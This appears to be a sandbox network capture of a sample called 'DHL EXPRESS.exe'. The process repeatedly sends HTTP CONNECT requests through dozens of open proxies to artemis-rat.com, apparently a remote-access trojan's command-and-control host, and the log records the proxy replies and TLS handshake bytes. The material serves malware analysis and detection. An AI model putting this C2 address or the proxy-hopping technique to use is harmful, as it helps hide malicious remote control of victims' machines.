Mar 11, 2024 18:36:47.094067097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.8	51519	172.67.3.108	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.096136093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.250633001 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.8	51518	172.67.219.60	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.096733093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.251259089 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.8	50960	185.18.198.163	58714	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.100274086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.167814970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.269511938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.362831116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.456923008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.457020998 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:35.487549067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:59.503185987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.8	51357	45.11.95.166	6005	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.102386951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.909534931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.049190044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.999032974 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.8	51392	51.15.223.24	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.108834028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.909528971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.800621033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.592885017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.097214937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.597321033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.034044981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.980150938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:21.769316912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.8	51429	184.178.172.14	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.109251022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.8	51543	104.19.235.10	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.113403082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.269788980 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.8	51431	72.210.221.197	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.115537882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.8	51480	91.134.140.160	12217	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.117352962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.8	51607	43.134.238.25	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.119115114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.8	51437	184.178.172.3	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.125097990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.8	50973	20.33.5.27	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.125986099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.167932987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.362003088 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.8	51476	45.196.151.134	5432	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.130145073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.347520113 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.8	51516	178.236.246.53	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.130587101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.038837910 CET	131	IN	HTTP/1.1 503 Too many open connections content-type: text/plain connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.8	51440	72.195.34.60	27391	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.132312059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.8	51621	46.22.210.184	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.134053946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.8	51523	91.134.140.160	27207	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.135334015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.8	51625	46.22.210.184	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.136967897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.8	51368	45.11.95.165	5034	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.137362003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.8	51408	213.136.75.85	59058	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.140594959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.862658978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.862705946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.769227982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.457426071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.269047022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.8	51494	38.54.6.39	9080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.143014908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.362047911 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.8	50456	82.97.215.240	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.149349928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.167999029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.018488884 CET	39	IN	HTTP/1.0 200 Connection established
Mar 11, 2024 18:36:51.088360071 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ef 41 32 c3 96 d3 76 41 53 42 98 ef 72 8c 11 bf 78 0c f5 42 1b 3f 93 09 f3 47 2b 07 f7 89 20 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lheA2vASBrxB?G+ ,+0/$#('=<5/artemis-rat.com#oY u6rp\|'E+"a~<@O;qm##}c9dx2
Mar 11, 2024 18:36:54.269009113 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ef 41 32 c3 96 d3 76 41 53 42 98 ef 72 8c 11 bf 78 0c f5 42 1b 3f 93 09 f3 47 2b 07 f7 89 20 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lheA2vASBrxB?G+ ,+0/$#('=<5/artemis-rat.com#oY u6rp\|'E+"a~<@O;qm##}c9dx2
Mar 11, 2024 18:36:57.269428968 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ef 41 32 c3 96 d3 76 41 53 42 98 ef 72 8c 11 bf 78 0c f5 42 1b 3f 93 09 f3 47 2b 07 f7 89 20 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lheA2vASBrxB?G+ ,+0/$#('=<5/artemis-rat.com#oY u6rp\|'E+"a~<@O;qm##}c9dx2
Mar 11, 2024 18:36:58.090281963 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 41 39 c2 1f 1f cd 87 b5 72 0d 23 4f e9 8f 04 54 6f f9 18 5d fc 7e 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 6b 0b 00 10 67 00 Data Ascii: C?eA9r#OTo]~DOWNGRD/#kgde0a0I?LR0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240214225240Z240514225239Z010
Mar 11, 2024 18:36:58.092971087 CET	162	IN	Data Raw: 98 6e 71 f4 11 ac 4d b8 a7 7d 6f da c6 bc f4 b1 9e 56 4d 29 6b 80 18 2b 54 cc 2f af 96 ce 21 d1 4a a2 d6 af dc dc c3 23 73 8a f8 60 aa 82 11 8f 73 e6 dd de ff f1 c4 74 75 19 89 f2 11 f3 81 b3 5c 09 1f 05 21 66 f5 dc f5 01 c2 34 dc e1 8e 2b 77 c7 Data Ascii: nqM}oVM)k+T/!J#s`stu\!f4+wF3yO3RDw.QJRh8?hXZR`UHG3XF%~ t\5
Mar 11, 2024 18:36:58.154886007 CET	1286	IN	Data Raw: 67 99 90 77 37 0a 97 2d c5 1c 1e f4 d0 5b e9 15 e3 ea 02 09 c8 13 d7 13 70 65 bf fb 88 9b 5a 25 be 77 09 e1 a7 6a 4e 11 75 b9 1e 4d f1 00 1b 6a 66 79 8e c3 6e d8 6d a2 22 a2 6d 05 fb 2c f2 f1 50 e5 a0 d1 d8 9f 35 7d fc 70 ab 59 2a 02 f1 be b0 d3 Data Ascii: gw7-[peZ%wjNuMjfynm"m,P5}pYj%[ @4 awHI)adcGF9sO+Xe Uon=zcmf0b0Jwl6!X0H0W10UBE10UGlobalS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.8	51459	72.195.114.169	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:47.152465105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.8	51384	120.78.191.68	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

